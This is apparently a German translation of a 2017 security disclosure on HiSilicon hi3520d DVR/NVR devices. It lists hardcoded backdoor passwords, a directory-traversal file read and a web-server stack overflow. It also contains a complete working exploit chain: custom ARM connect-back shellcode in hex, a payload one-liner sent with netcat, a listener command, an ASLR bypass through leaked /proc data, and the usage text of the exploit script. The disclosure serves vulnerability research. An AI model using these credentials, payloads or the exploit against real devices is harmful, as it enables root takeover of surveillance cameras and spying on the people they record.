
Proof-of-Concept-Exploit und Offenlegung von Schwachstellen für HiSilicon hi3520d DVR/NVR-Geräte. Demonstriert RCE über die Weboberfläche, Backdoor-Zugangsdaten und Buffer-Overflow-Analyse.
= HiSilicon DVR Hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Inhaltsverzeichnis :image_width: 100%
[abstract] Dieser Bericht legt schwerwiegende Schwachstellen (mit Proof-of-Concept (PoC)-Code) von DVR/NVR-Geräten offen, die mit dem HiSilicon hi3520d und ähnlichen System-on-a-Chip (SoC) aufgebaut sind. Die Ausnutzung der Schwachstellen führt zu unautorisierter Remote-Codeausführung (RCE) allein über die Webschnittstelle, wodurch das betroffene Gerät vollständig übernommen werden kann. Aufgrund fehlender aktualisierter Firmware wird die Verwendung dieser Geräte nicht empfohlen. Der Hersteller wurde vor Dez. 2016 kontaktiert, aber bislang gibt es keine Antwort. Das Veröffentlichungsdatum der Offenlegung ist Feb. 2017.
== Vorwort
Vor ein paar Jahren habe ich ein billiges chinesisches DVR-Gerät bei eBay gekauft. Das Boot-Logo des Geräts zeigt: "SECULINK - Security Monitoring". Als IT-Sicherheits-Enthusiast beschloss ich, mir das Gerät genauer anzusehen, um zu sehen, wie "sicher" dieser Sicherheitsüberwachungsdienst ist. Beim Googeln zu diesem Thema fand ich einige interessante Materialien, grub aber tiefer und entdeckte viel interessantere und ernstere Probleme (0-Days) an dem Gerät.
Werfen wir einen Blick auf die vollständige Hacking-Sitzung von Anfang an. (Die neuen, eigenen Erkenntnisse werden ebenso erwähnt wie die alten, bekannten.)
== Erkundung des DVR
Zuerst sollten wir die offizielle Benutzeroberfläche kennenlernen, dann tiefer graben, vielleicht versuchen, die Firmware zu erhalten. Die Chancen, Schwachstellen zu finden, steigen mit der Firmware.
=== Das DVR-Gerät auf den ersten Blick
Das für Tests vorgesehene DVR-Gerät trägt die Marke "Seculink".
image::./seculink_device.png[Seculink DVR-Gerät]
Verfügbare physische Schnittstellen:
Offizielle Benutzeroberflächen:
Die direkt zugängliche Einrichtungsoberfläche ist durch Benutzerauthentifizierung (Benutzername, Passwort) geschützt. Der Standard-Superuser ist 'admin', das Standardpasswort ist leer.
Nach der Einrichtung eines starken Passworts mag sich der Benutzer sicher fühlen, dass seine/ihre Kameraansicht für andere nicht zugänglich ist. Leute leiten oft den Webport (tcp/80) des DVR-Geräts von ihrem sicheren LAN an die WAN-Seite weiter, um von außen auf die DVR-Streams zuzugreifen (das können wir z. B. mit einer passenden Shodan-Suche überprüfen ;) ).
=== Beschaffung der Firmware
Es gibt möglicherweise viele Wege, um an die Firmware zu gelangen:
Obwohl die letztere (Download-)Methode hier funktioniert und am einfachsten ist, versuchen wir zuerst die erste, weil sie auch andere Informationen über das Gerät liefert.
=== Service-Scan
Führen wir einen vollständigen Portscan auf dem DVR durch. Beachten Sie, dass der (standardmäßig bei Ausführung als root) SYN-Scan sehr langsam ist, weil Pakete verworfen werden, der vollständige TCP-Connect-Scan aber in ein paar Minuten abgeschlossen ist.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
Zusammenfassung und manuelles Testen:
Beachten Sie, dass das Öffnen des RTSP-Streams ebenfalls Anmeldedaten erfordert.
An dieser Stelle sollten wir festhalten, dass das Gerät vermutlich ein Linux-ähnliches System ist.
Eine Verbindung zu 9527/tcp (mit rohem Netcat) zeigt die Anwendungskonsole
mit Logmeldungen und einer Anmeldeaufforderung. Die Anmeldung mit beliebigen der
definierten Anwendungsanmeldedaten funktioniert. Die Eingabe von help nach der
Aufforderung liefert eine kurze Beschreibung der Konsolenbefehle. Der Befehl
shell scheint am interessantesten zu sein. Ja, er gewährt eine Root-Shell auf
den Geräten. ;)
Beachten Sie, dass dies offensichtlich ein schwerwiegendes Sicherheitsproblem ist, denn kein (niedrig privilegierter) Anwendungsbenutzer sollte automatisch eine Root-Shell auf dem Gerät erhalten.
=== Root-Shell
Die Erkundung des Geräts in der Root-Shell (z. B. mit dmesg) macht
deutlich, dass der DVR einen Linux-Kernel (Version 3.0.8) ausführt, eine
ARMv7-CPU besitzt und das SoC-Modell hi3520d ist.
Aus der Liste der laufenden Prozesse (ps) geht hervor, dass die DVR-
Anwendung /var/Sofia ist, die zusätzlich zu den oben genannten, von nmap erkannten TCP-Ports
auch auf 34568/udp und 34569/udp lauscht (netstat -nlup).
Aus der Liste der eingehängten Datenträger (Befehl mount) geht hervor, dass sich das
Firmware-Image in den /dev/mtdblockX-Geräten befindet (wobei X=0,1,2,3,4,5).
Die Firmware ist klein und daher eingeschränkt, also müssen wir kreativ sein, wenn wir Dateien auf das Gerät oder vom Gerät kopieren wollen. Glücklicherweise wird NFS unterstützt, sodass das Einrichten eines NFS-Servers auf unserem Desktop-Rechner und das Einhängen vom DVR aus das Problem löst:
Nun ist die Beschaffung der Firmware unkompliziert:
Wir können die Dateien (nicht nur die Roh-Images) erhalten:
=== Telnet-Schnittstelle
Für den Zugriff auf das Gerät über die Telnet-Schnittstelle (Port 23/tcp)
benötigen wir möglicherweise einige OS-Anmeldedaten. Ein Blick in /etc/passwd liefert den
Passwort-Hash für den Root-Benutzer:
Beachten Sie, dass es außer root keinen weiteren Benutzer gibt; alles läuft mit vollen Rechten. (Wenn also jemand irgendwie in das Gerät eindringt, gibt es keine Barriere; der Angreifer erlangt sofort die volle Kontrolle.)
Unter der Annahme eines sechsstelligen alphanumerischen (Kleinbuchstaben-)Passworts entschlüsselt hashcat den obigen schwachen DES-Hash schnell:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
Mit dem Benutzer root und dem Passwort xc3511 ist die Anmeldung über die Telnet-
Schnittstelle auf Port 23/tcp also möglich. Dieses hartkodierte Root-Konto,
das über die nicht schließbare Telnet-Schnittstelle erreichbar ist, ist offensichtlich eine Hintertür.
Diese Ergebnisse waren fast schon vor unserer Forschung von anderen verfügbar, aber das Folgende ist völlig neu.
== Reverse Engineering der Firmware
Bei der Erkundung der Firmware stellt sich heraus, dass die Binärdatei /var/Sofia die
Hauptanwendung ist, die jede Schnittstelle außer der Videoverarbeitung
und anderen implementiert. Daher scheint diese Binärdatei am interessantesten
für uns zu sein.
Leider ist sie (statisch gelinkt und) gestrippt, was die statische Analyse erschwert:
Neben der statischen Analyse (mit radare2 oder IDA) sollte also die dynamische Analyse sehr hilfreich sein.
=== Remote-GDB
Für die dynamische Analyse ist es vorteilhaft, den GNU-Projekt-Debugger (GDB) an die entfernte
/var/Sofia-Anwendung anzuhängen. Die empfohlene Methode
besteht darin, gdbserver auf dem entfernten Gerät auszuführen (und anzuhängen) und
gdb vom lokalen Rechner aus zu verbinden.
Natürlich benötigen wir ein gdbserver, das (idealerweise statisch) für die
passende ARM-Architektur kompiliert ist. Um es zu bauen, können wir
https://www.uclibc.org/[µClibc] verwenden, die empfohlene C-Bibliothek für
eingebettete Systeme (wie unseren DVR). Verfügbare Builds sind dynamische Builds,
die auf unserem DVR problematisch sind, daher sollten wir eigene statische Builds
erstellen. Es gibt eine nette Build-Umgebung namens
https://buildroot.org/[Buildroot], die das Bauen
out-of-the-box ermöglicht (wählen Sie die benötigten Anwendungen (z. B. gdb) mit
make menuconfig, vergessen Sie nicht, statische Bibliotheken zu wählen, und führen Sie dann
make aus).
Nach einer kurzen Build-Zeit (~10-15 Min.) sollten alle notwendigen Werkzeuge
verfügbar sein. Die statischen Binärdateien können mit der zuvor
erwähnten NFS-Methode auf das Gerät übertragen werden. Beachten Sie, dass das Verzeichnis /var,
das die Sofia-Binärdatei enthält, ein ramfs ist, also über Neustarts hinweg
nicht persistent ist. Wenn wir die Binärdateien (fast) dauerhaft übertragen wollen,
sollte die rw-Partition /mnt/mtd, die die Konfigurationsdateien enthält, ein
geeignetes Ziel sein. Wenn Sie auch das Paket openssh bauen, ist scp
verfügbar, was das Übertragen von Dateien noch einfacher macht.
Nun ist die Firmware bereit für etwas Reverse Engineering. Das entfernte Anhängen von gdbserver
funktioniert jetzt (die PID des Sofia-Prozesses erhält man leicht mit
ps):
Verbindung vom lokalen Rechner aus:
Beachten Sie, dass die Verwendung einer GDB-Erweiterung (wie
http://gef.readthedocs.io/en/master/[GEF]) empfohlen wird. Wenn das Anhalten
der Anwendung aus irgendeinem Grund nicht funktioniert (mit C-c), sollte das Senden eines TRAP-
Signals an den Sofia-Prozess (mit kill -TRAP 610) diese anhalten.
=== Untersuchung des Authentifizierungsverfahrens
Das empfohlene Werkzeug für die statische Analyse ist offensichtlich Hex-Rays' https://www.hex-rays.com/products/ida/[IDA Pro]. Leider ist es nicht billig, aber viel besser als alle anderen Werkzeuge.
Nach der anfänglichen Auto-Analyse gibt es 15.000+ Funktionen, aber das Finden der Auth-Funktion dauert mit IDA nur einen Moment (mit einfacher Python-Skripterstellung). Das https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] Snippet unten sucht nach allen Funktionen, die Verweise auf irgendetwas im Zusammenhang mit "Users" und "Password" enthalten (gleichzeitig):
Das Ergebnis ist nur eine Funktion: sub_2D857C. Eine kurze Analyse dieser
Funktion bestätigt, dass dies die Authentifizierungsfunktion sein sollte.
Es gibt eine anfängliche Prüfung des Klartext-Passworts gegen eine hartkodierte
Zeichenkette (bevor der Passwort-Hash des Benutzers aus der Konfiguration geholt wird).
Wenn sie besteht, wird die Authentifizierung gewährt. Dies ist eine hässliche Hintertür in der
Anwendung. Das universelle Passwort lautet: I0TO5Wv9.
Mit diesem Passwort können wir als beliebiger Benutzer (z. B. admin) auf alles in der Anwendung zugreifen. Zum Beispiel das Abrufen des Videostreams:
Oder das Erlangen einer Root-Shell auf der Anwendungskonsole (9527/tcp) funktioniert ebenfalls:
$ nc 192.168.88.127 9527 nc: using stream socket
Ein weiteres interessantes Ergebnis im Authentifizierungsalgorithmus:
unter bestimmten Umständen akzeptiert die Auth-Funktion nicht nur das
Passwort, sondern auch den Hash. Das Öffnen des RTSP-Videostreams ist
nicht nur mit dem Passwort, sondern auch mit dem Hash möglich (der in
/mnt/mtd/Config/Account1 gespeichert ist). Zum Beispiel ist tlJwpbo6 der
Hash des leeren Passworts (siehe auch nächster Abschnitt), also```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
funktioniert auch.
=== Passwort-Hashfunktion
Ein weiteres Ergebnis der tiefergehenden statischen Analyse der Auth-Funktion: Die
Passwort-Hashfunktion ist `sub_3DD5E4`. Es ist im Grunde MD5 mit einigen
seltsamen Transformationen. Rückentwickelt und in Python implementiert:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
Mit dem implementierten Hash-Algorithmus ist es möglich, Passwörter per Brute Force zu knacken oder beliebige Passwörter zu setzen.
== Pufferüberlauf im integrierten Webserver
Das Sofia-Binary verarbeitet die HTTP-Anfragen auf Port 80/tcp. Versuchen wir
etwas Fuzzing mit den Anfragen. Natürlich sollte das Anhängen von gdb (siehe oben)
hilfreich sein. Eigentlich sollten wir den Sofia-Prozess beenden und ihn mit
gdbserver neu starten, um auch die Konsolenausgabe zu sehen:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
Und lokal:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
Nun schauen wir uns die GET-Anfragen an. Keine Antwort:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
Normale Antwort (auch ohne ordnungsgemäßes Abschließen und/oder Zeilenumbruch am Ende):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
Test auf einen Overflow mit einer sehr langen Anfrage:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
Schön. Die Antwort ist ein 200 mit einer „404 File Not Found“-Meldung, aber wir
können im gdb einen wunderbaren Absturz sehen. ;)
Beachte, dass ein Watchdog-Kernelmodul für die Sofia-Anwendung aktiviert ist.
Wenn sie eine Minute lang nicht läuft, startet das Gerät neu. Das ist einerseits
gut, wenn wir mit einem entfernten Gerät experimentieren, aber andererseits
schlecht, wenn wir reibungslos debuggen möchten.
Der Watchdog kann nicht deaktiviert werden, sobald er gestartet wurde. Der einzige
Weg, ihn loszuwerden, besteht darin, die schreibgeschützte Firmware durch Reflashing
zu verändern. Es wird nicht empfohlen, außer wir wollen unser Testgerät brick-en. ;)
=== Steuerung des Programmablaufs
Warum ist der Absturz (aus Sicht eines Angreifers) wunderbar? Der entfernte Prozess
Sofia hat SIGSEGV (Segmentation Fault) erhalten, der Stack ist mit unseren
„a“-Zeichen gefüllt, aber das Wichtigste ist: Das `$pc`-Register (Programmzähler)
enthält unseren injizierten Wert `0x61616160` („aaaa“ - 1)
(wahrscheinlich durch ein `ret` ausgelöst, aber die Ursache ist nicht wichtig). Das
sollte ein klassischer Stack-Overflow sein, und das bedeutet, dass wir die Chance
haben, den Programmablauf leicht zu steuern.
Nach einigen Experimenten (durch Intervallhalbierung):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
Auch dies führt zu SIGSEGV, und das `$pc`-Register ist `0x7a797876`
(~„wxyz“; umgekehrt, weil die Byte-Reihenfolge Little-Endian ist; und -1
wegen der Ausrichtung). Unser Payload beginnt (mit „0123aaa...“) bei $sp+0x14
(Stack-Basis + 0x14).
=== Remote-Codeausführung
Einen solchen Overflow am einfachsten und effektivsten auszunutzen, besteht darin,
etwas Shellcode in den Stack zu injizieren und den Programmfluss dorthin umzuleiten.
Auf diese Weise erhalten wir beliebige Remote-Codeausführung auf dem Ziel. Da es auf
dem Geräte-Betriebssystem keine Privilegientrennung gibt, bedeutet das volle Kontrolle
(Root-Shell-Zugriff).
Allerdings könnten (moderne) Exploit-Mitigation-Techniken aktiviert sein, die das
Leben eines Angreifers erheblich erschweren.
Die grundlegendste Methode zum Schutz vor Shellcodes auf dem Stack ist die
No-eXecute (NX)-Bit-Technologie. Sie kann die Ausführung von Code auf ausgewählten
Speicherseiten verhindern (normalerweise Seiten mit Schreibberechtigung wie der Stack).
Glücklicherweise (aus Sicht des Angreifers ;) ) ist kein NX-Bit gesetzt
(siehe STACK-Flags, rwx):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
oder einfach `checksec` in gdb gef verwenden. `checksec` in gdb gef sagt uns auch,
dass keine weiteren Schutzmaßnahmen wie Stack-Canary vorhanden sind (was
offensichtlich ist, da wir `$pc` nicht per Stack-Overflow steuern könnten, wenn
ein Stack-Canary vorhanden wäre).
Das Einzige, was wir wissen müssen, bevor die RCE funktioniert, ist die Stack-Adresse.
Wir sollten die Adresse `$sp+0x14` an der entsprechenden Stelle unseres Payloads
(„wxyz“ oben) injizieren, um den Programmfluss zum Shellcode umzuleiten.
Es gibt außerdem eine Schutztechnik, die das erschweren könnte (oder sehr schwer,
in manchen Fällen fast unmöglich): Address Space Layout Randomization (ASLR).
ASLR randomisiert die Basisadressen der Speichersegmente (z. B. die Basisadresse
des Stacks).
Pech gehabt: ASLR ist aktiviert („2“ bedeutet vollständige Randomisierung, „0“ ist deaktiviert):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== RCE ohne ASLR
Versuchen wir zuerst, den Overflow bei deaktiviertem ASLR auszunutzen.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
Wenn wir wie oben vorgehen, sehen wir, dass die Stack-Adresse ($sp) zum Zeitpunkt
des SIGSEGV-Absturzes `0x5a26f3d8` beträgt (und sie ist bei verschiedenen Läufen
mit deaktiviertem ASLR dieselbe).
Der Payload sollte also wie folgt aussehen:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
wobei der Shellcode etwas sein sollte, das wir ausführen möchten, vorzugsweise ein
Connectback-Shellcode. Beachte, dass es „Badchars“ gibt, die vermieden werden müssen:
0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?').
Außerdem gibt es ein Größenlimit von 299 Bytes. Shellcode-Generatoren können nicht
mit unserer Badchar-Liste umgehen; selbst automatisierte Encoder können das Problem
nicht lösen (wegen des Größenlimits).
Daher muss ein eigener Shellcode erzeugt werden. Der Shellcode hier erzeugt eine
Connectback-Shell mithilfe der Systemaufrufe socket, connect, dup2 und execve
(bzw. Supervisor Calls in der Terminologie der ARM-Welt). Wir müssen streng und
kreativ sein, um Badchars zu vermeiden. Labels sollten nicht verwendet werden; sie
dienen nur der besseren Lesbarkeit.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
Um den Shellcode zu kompilieren und die rohen Binärbytes zu erhalten (jedes
Cross-Tool für ARM sollte funktionieren, z. B. auch die mit Buildroot in
`buildroot-2017.02.5/output/host/usr/bin/` erstellten):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
Wenn dies zusammen mit dem Payload injiziert wird, sollte der Exploit funktionieren
und eine Connectback-Shell auf dem entfernten Gerät bereitstellen.
Natürlich zunächst einen Listener auf `192.168.88.100` starten:
----
$ nc -nvlp 31337
----
Dann den Payload starten:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
Der Exploit sollte funktionieren! :) Im lokalen gdb:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
Und die RCE ist auf dem Netcat-Listener bereit:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
Nun ist es möglich, beliebige Befehle (als root!) auf dem entfernten System auszuführen.
Aber leider ist der Exploit noch nicht für den Einsatz in der realen Welt bereit,
denn ASLR ist aktiviert und daher kennen wir die Startadresse des Shellcodes nicht.
Noch nicht.
==== ASLR überwinden
ASLR zu überwinden ist keine leichte Aufgabe, aber oft mit etwas Kreativität machbar.
Üblicherweise gibt es zwei Wege, dies zu tun:
* eine Schwachstelle im Randomizer zu finden und sie per Brute Force oder einem partiellen Leak / partiellem Overwrite anzugreifen,
* die randomisierten Speicheradressen des entfernten Binärprogramms zu leaken.
Brute Forcing scheint hier nutzlos zu sein (das Auslösen einer ungültigen Adresse
verursacht einen Absturz und einen langsamen Neustart), daher scheint nur das
Leaken praktikabel zu sein (falls wir eines finden).
Nach langer Recherche musste fast aufgegeben werden; es konnte kein Leak gefunden
werden, aber dann kam eine Idee aus einer völlig anderen Richtung.
Es gibt eine weitere Schwachstelle im Webserver, eine klassische
Directory-Traversal-Schwachstelle. Tatsächlich funktioniert sie auch zum Auflisten
von Verzeichnissen (das wird ebenfalls wichtig sein).
Die Directory-Traversal-Schwachstelle bedeutet:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
und wir können auch eine Verzeichnisliste abrufen:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
Beachte, dass diese Schwachstelle schwerwiegend ist, da der Angreifer beliebige
Dateien lesen kann, einschließlich aufgezeichneter Videos (falls das Gerät über
HDD-Speicher verfügt).
Darüber hinaus kann uns die Schwachstelle helfen, ASLR zu überwinden.
Das `/proc`-Dateisystem enthält viele Informationen über laufende Prozesse in den
Verzeichnissen `/proc/[pid]`. Das Auflisten von `/proc` ist mit `GET ../../proc`
möglich; auf diese Weise erhalten wir alle PIDs. Wenn `/proc/[pid]/cmdline` den
Wert `/var/Sofia` hat, ist die PID der Anwendung gefunden.
Die wichtigsten Informationen zur Überwindung von ASLR finden sich in
`/proc/[pid]/smaps`. Diese Datei enthält Speicherseiten-Statistiken, Seitenadressen
und andere interessante Informationen (z. B. RSS). Zum Beispiel:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
Dies ist nur eine Seite; die Auflistung enthält etwa ~150 Seiten.
Wenn wir uns die obige Struktur ansehen (mit Aufmerksamkeit auf Seitengrößen, Muster
usw.), können wir (durch Experimente und Heuristiken) erraten, welche Seite den Stack
des benötigten Threads enthält. Der Offset des Stacks von der Basisadresse ist
konstant (er beträgt 0x7fd3d8).
Das Snippet zum Erraten der Speicherseite:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
wobei `smaps[t][1][0]` die Größe der `t`-ten vollständigen Seite ist und
`smaps[t][1][1]` das zugehörige RSS.
Das Snippet ist Teil des vollständigen Exploit-Skripts, das automatisch gegen
verschiedene ASLR-aktivierte HiSilicon-Ziele funktioniert. Für eine kurze
Einführung in das Skript:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
